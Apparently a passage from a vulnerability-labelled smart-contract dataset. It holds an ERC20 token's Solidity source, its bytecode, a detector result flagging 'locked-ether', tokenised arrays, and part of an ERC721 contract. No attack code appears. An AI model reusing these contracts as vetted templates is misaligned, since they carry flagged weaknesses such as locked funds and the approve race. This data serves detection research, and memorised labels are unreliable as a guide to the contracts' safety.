// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806318160ddd146101ff57806323b872dd14610228578063313ce567146102a15780633eaaf86b146102d057806370a08231146102f957806379ba5097146103465780638da5cb5b1461035b57806395d89b41146103b0578063a293d1e81461043e578063a9059cbb1461047e578063b5931f7c146104d8578063cae9ca5114610518578063d05c78da146105b5578063d4ee1d90146105f5578063dc39d06d1461064a578063dd62ed3e146106a4578063e6cb901314610710578063f2fde38b14610750575b600080fd5b341561012257600080fd5b61012a610789565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610827565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b610212610919565b6040518082815260200191505060405180910390f35b341561023357600080fd5b610287600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610964565b604051808215151515815260200191505060405180910390f35b34156102ac57600080fd5b6102b4610bf4565b604051808260ff1660ff16815260200191505060405180910390f35b34156102db57600080fd5b6102e3610c07565b6040518082815260200191505060405180910390f35b341561030457600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c0d565b6040518082815260200191505060405180910390f35b341561035157600080fd5b610359610c56565b005b341561036657600080fd5b61036e610df5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103bb57600080fd5b6103c3610e1a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104035780820151818401526020810190506103e8565b50505050905090810190601f1680156104305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044957600080fd5b6104686004808035906020019091908035906020019091905050610eb8565b6040518082815260200191505060405180910390f35b341561048957600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed4565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b610502600480803590602001909190803590602001909190505061105d565b6040518082815260200191505060405180910390f35b341561052357600080fd5b61059b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611081565b604051808215151515815260200191505060405180910390f35b34156105c057600080fd5b6105df60048080359060200190919080359060200190919050506112cb565b6040518082815260200191505060405180910390f35b341561060057600080fd5b6106086112fc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065557600080fd5b61068a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611322565b604051808215151515815260200191505060405180910390f35b34156106af57600080fd5b6106fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061146e565b6040518082815260200191505060405180910390f35b341561071b57600080fd5b61073a60048080359060200190919080359060200190919050506114f5565b6040518082815260200191505060405180910390f35b341561075b57600080fd5b610787600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611511565b005b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b60006109af600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a78600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b41600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114f5565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb05780601f10610e8557610100808354040283529160200191610eb0565b820191906000526020600020905b815481529060010190602001808311610e9357829003601f168201915b505050505081565b6000828211151515610ec957600080fd5b818303905092915050565b6000610f1f600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610eb8565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fab600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114f5565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561106d57600080fd5b818381151561107857fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561125e578082015181840152602081019050611243565b50505050905090810190601f16801561128b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156112ac57600080fd5b6102c65a03f115156112bd57600080fd5b505050600190509392505050565b6000818302905060008314806112eb57508183828115156112e857fe5b04145b15156112f657600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137f57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561144b57600080fd5b6102c65a03f1151561145c57600080fd5b50505060405180519050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015151561150b57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561156c57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582065f9108c6b98ad86c453bcd201ac7c96c4b456df0bdd721897b52029228a813d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22275,
2094,
2692,
2549,
2063,
2581,
2546,
2620,
6679,
2098,
2692,
29097,
2692,
15878,
2620,
2549,
2497,
2581,
2475,
2497,
2475,
2063,
2629,
4246,
26187,
20958,
2509,
6305,
2692,
2063,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1005,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,494 | 0x953d066d809dc71b8809dafb8fb55b01bc23a6e0 | pragma solidity ^0.4.24;
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface ERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
/**
* @title SupportsInterfaceWithLookup
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) internal supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
/**
* @dev private method for registering an interface
*/
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract THORChain721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
bytes4 retval;
bool reverts;
constructor(bytes4 _retval, bool _reverts) public {
retval = _retval;
reverts = _reverts;
}
event Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data,
uint256 _gas
);
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4)
{
require(!reverts);
emit Received(
_operator,
_from,
_tokenId,
_data,
gasleft()
);
return retval;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address _account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_account) }
return size > 0;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721);
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function _exists(uint256 _tokenId) internal view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = THORChain721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
/**
* @title ERC-721 Non-Fungible Token Standard, full implementation interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
/**
* @title Full ERC721 Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
/**
* @dev Constructor function
*/
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string) {
